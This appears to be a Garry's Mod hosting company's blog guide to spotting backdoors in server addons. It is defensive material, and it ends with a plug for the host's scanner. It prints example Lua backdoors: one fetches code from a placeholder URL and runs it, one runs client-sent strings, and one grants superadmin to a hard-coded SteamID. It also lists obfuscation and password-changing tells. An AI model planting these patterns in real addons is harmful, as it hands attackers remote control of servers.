If you run a Garry's Mod server, sooner or later you will install an addon that does something it should not. Leaked "premium" scripts and random Workshop uploads are the usual way in. A backdoor in GMod is rarely clever. It is usually a few lines of Lua hidden in a big file, waiting for a signal.

Here are the patterns that show up again and again, and what to do when you find one.

1. Fetch code from the internet, then run it

The classic. The addon downloads a string from a remote server and executes it as Lua:

http.Fetch("https://example.invalid/payload", function(body) RunString(body) end) 

Whoever controls that URL can now run any server-side code they like, whenever they like. Look for http.Fetch or http.Post anywhere near RunString, RunStringEx or CompileString.

There is almost never a legitimate reason for an addon to download Lua and run it.

2. Run whatever the client sends

A network message that executes its contents on the server:

net.Receive("some_innocent_name", function(len, ply) RunString(net.ReadString()) end) 

Any player who knows the message name can run code on your server. The message name is often made to look boring, like a stats or config message.

3. Hidden strings

Backdoors try not to look like backdoors. Watch for code that builds strings you cannot read:

  • string.char(...) with a long list of numbers
  • util.Base64Decode(...) feeding into RunString or CompileString
  • long hex or escaped strings like "\x68\x74\x74\x70"

Decoding text for a UI is fine. Decoding text and then executing it is a red flag.

4. Special treatment for one SteamID

Code that checks for a specific player and quietly hands them power:

if ply:SteamID() == "STEAM_0:1:12345" then ply:SetUserGroup("superadmin") end 

If an addon you downloaded has a hard-coded SteamID that is not yours, ask why.

5. Console commands from nowhere

game.ConsoleCommand or RunConsoleCommand calls that fire on a timer or on player join, especially ones that change rcon_password, sv_password or admin groups.

What to do if you find one

  1. Stop the server and remove the addon entirely. Do not just comment out the line, because there may be more than one.
  2. Change your RCON password and any database passwords the server can read.
  3. Check your admin list for users you did not add.
  4. Restore from a backup taken before the addon went in, if anything looks touched.
  5. Only reinstall addons from sources you trust, and scan them first.

Scanning instead of reading every file

Reading every Lua file by hand gets old fast once you have a few hundred addons. On our hosting panel at Zeros Host we added a Backdoor Scanner for Garry's Mod servers: it checks addons for patterns like the ones above and shows you the file, the line number, the code itself and a plain-English reason it was flagged, so you can decide quickly whether it is a real problem.

Whether you use a tool or not, the five patterns above will catch most of what is out there. If you run a GMod server, it is worth a search through your addons folder today.

Zeros Host runs Garry's Mod (including DarkRP) and other game servers from the UK, EU and Canada: zerosrp.co.uk.